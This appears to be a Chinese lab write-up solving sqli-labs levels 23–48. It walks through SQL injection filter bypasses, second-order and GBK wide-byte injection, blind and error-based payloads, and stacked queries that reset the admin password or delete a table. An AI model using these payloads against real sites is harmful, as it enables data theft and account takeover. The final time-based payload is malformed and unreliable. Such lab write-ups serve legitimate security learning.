Less-23
查看源码
1 | $reg = "/#/"; |
preg_replace($reg, $replace, $id)大概意思是如果id传参中有$reg的值则将其代替为$replaced的值
在这里是将#和–+替代为空,即注释被过滤
我们可以使用and '1'='1
因为id是单引号闭合的$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
接下来的很简单了,可以使用联合注入、报错注入、布尔盲注、时间盲注
Less-24
二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
配合下图可以有更好的理解:
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符
可以预防sql注入
1 | $username= $_SESSION["username"]; |
可以看出只有username没有受到保护,所以我们注册受污染的用户名和正常的密码
当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。
注册用户名:admin’# 密码:123123 ,修改密码为:123456
然后以管理员admin,密码123456登录成功
这一题好像有bug吧
Less-25
1 | $id= preg_replace('/or/i',"", $id); |
and和or被过滤。,而且or/i中的i表示此函数不区分大小写,所以AND和OR也被抹掉
那我们可以使用||和&&进行一个代替,但是&&在URL栏中有别的意思代表多个传参的意思,所以我们要进行一个URL编码
&&即为%26%26,如果理解没错的话||不需要编码,但是在information_schema中不能使用||来代替or,它们只是逻辑上相同
这个时候我们就得用双写法,即将information写成infoorrmation,函数只会抹去一个or,这一波我们在第二层Less-25/?id=-1'union select 1,2,table_name from infoorrmation_schema.tables where table_schema='security'--+
在此之前的order别忘了双写
接下来使用联合注入就行了
Less-26
这一题更恶心,过滤了许多字符
我们看一下源码
1 | function blacklist($id) |
这个blacklist不就是黑名单的意思吗\S 匹配任何非空白字符
这里我们可以给一些地方添加括号来规避空格,使用双写来代替and和or,这里使用空格的URL编码好像不行
举个例子
爆表名
||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
||可以用%7C%7C来替代
黑名单和白名单
黑名单是不允许输什么,白名单是只允许输什么
Less-27
查看源码
1 | function blacklist($id) |
这一关又过滤了一些东西
爆库名
?id=1'and(updatexml(1,concat(0x5e,database()),1)) and '1'='1
爆表名
?id=1'and%0aupdatexml(1,concat(0x5e,(selEct%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0alimit%0a0,1)),1)and '1'='1
爆字段
?id=1'and%0aupdatexml(1,concat(0x5e,(selEct%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'and%0atable_name='users'%0alimit%0a0,1)),1)and '1'='1
爆数据
?id=1'and%0aupdatexml(1,concat(0x5e,(selEct%0aid%0afrom%0aemails%0alimit%0a0,1)),1)and'1'='1
Less-28
查看源码
1 | function blacklist($id) |
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
?id=1')and%0aupdatexml(1,concat(0x5e,database()),1)and('1')=('1
试了一下,不能使用报错注入
那我们就使用布尔盲注
猜库名长度
?id=1')and(length(database()))=8%0aand('1')=('1
利用ASCII码猜解当前数据库名称
?id=1')and(ascii(substr(database(),1,1)))=115%0aand('1')=('1
猜表名
?id=1')and(ascii(substr((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1)))=101%0aand('1')=('1
这里不再详述了
Less-32
什么是宽字节
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节
宽字节注入原理
简单来说,宽字节注入就是将两个ascii字符误认为是一个宽字节字符
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字
常我们sql注入会输入id=1’或id=1’’进行测试,如果数据库过滤不严格就会产生报错,宽字节注入会在 ‘ 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ‘ 就会失去注入的功能。我们利用宽注入的原理,输入id=1%df’,页面就会发生报错,这是因为GBK编码认为一个汉字占两个字节,\的url编码是%5C,加上 %df ,前面两个字符就会拼接为 %df%5c被识别为一个汉字。这样,\自动消失,转义作用在此失效。重新构造出来的汉字叫是真实存在但是浏览器不能很好识别的一个汉字。理论上可以不一定要使用%df,像%81 、%a1经测试也是可以实现的,只要能够重新构造出一个真实存在且不能被浏览器很好识别的汉字,并且编码能够包含%5c使\失效的字符都可以。
?id=1%df'and 1=1 --+
?id=1%df'order by 4--+
?id=-1%df'union select 1,table_name,3 from information_schema.tables where table_schema=database()--+
?id=-1%df'union select 1,column_name,3 from information_schema.columns where table_schema=database()and table_name=0x656d61696c73--+
这里因为’会被\转义,所以查表名的时候可以使用database(),查列名的时候可以使用0x开头的16进制表示字符串emails,这样来规避’’被转义
Less-33
Less-32是手动利用代码转义’,而33是用函数转义的
Less-34
这里是post型,不能使用get型的绕过
我们在输入框中输入的%df的%也会被编码
那么我们在bp抓包后进行修改,宽字节注入,去闭合单引号
Less-35
本关不用闭合?id=1 order by 4 --+ ?id=-1 union select 1,2,3 --+ ?id=-1 union select 1,2,database() --+
后面查表名字段都只要使用0x16进制替代就行
Less-36
这关和32关一样,只是函数不同
Less-37
这关和34关相同只是转义的函数改变
同样可以使用bp修改
Less-38
这个函数很危险,支持多条查询,因此我们可以堆叠注入
堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
Less-39
本关无闭合
Less-40
闭合为’)
Less-41
先用万能密码试用户名和密码,改变闭合'or 1=1#
发现在password存在注入点
先用报错注入查出库名和表名,用户名等
于是我们返回登入页面,查看源码可知,存在堆叠注入,password栏输入';update security.users set password='111112' where username='admin'#
用户名输入admin,登录失败,但是密码已被修改,再次登录,使用新密码即可成功登录
Less-43
与42相比只是闭合区别’)
Less-44
‘闭合,使用布尔盲注猜库表字段,再修改admin的密码
Less-46-47
输入?sort=1
1 | $sql = "SELECT * FROM users ORDER BY $id"; |
这是一个排序语句
我们试一试使用联合查询?sort=1 union select 1,2,3 --+
order by 后面不可以接联合查询,我们试一试爆错注入?sort=1 and updatexml(1,concat(0x5e,database()),1) --+
ok
Less-47就是一个闭合的改变
Less-48
试了一下报错和布尔盲注都不行,使用时间盲注?sort=1 and if(length(database())=8,sleep(5),1)
页面延时
其他语句?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
?sort=1 and if(ascii(substr(select table_name from information_schema.tables where table_schema='security'))=120,sleep(5),1)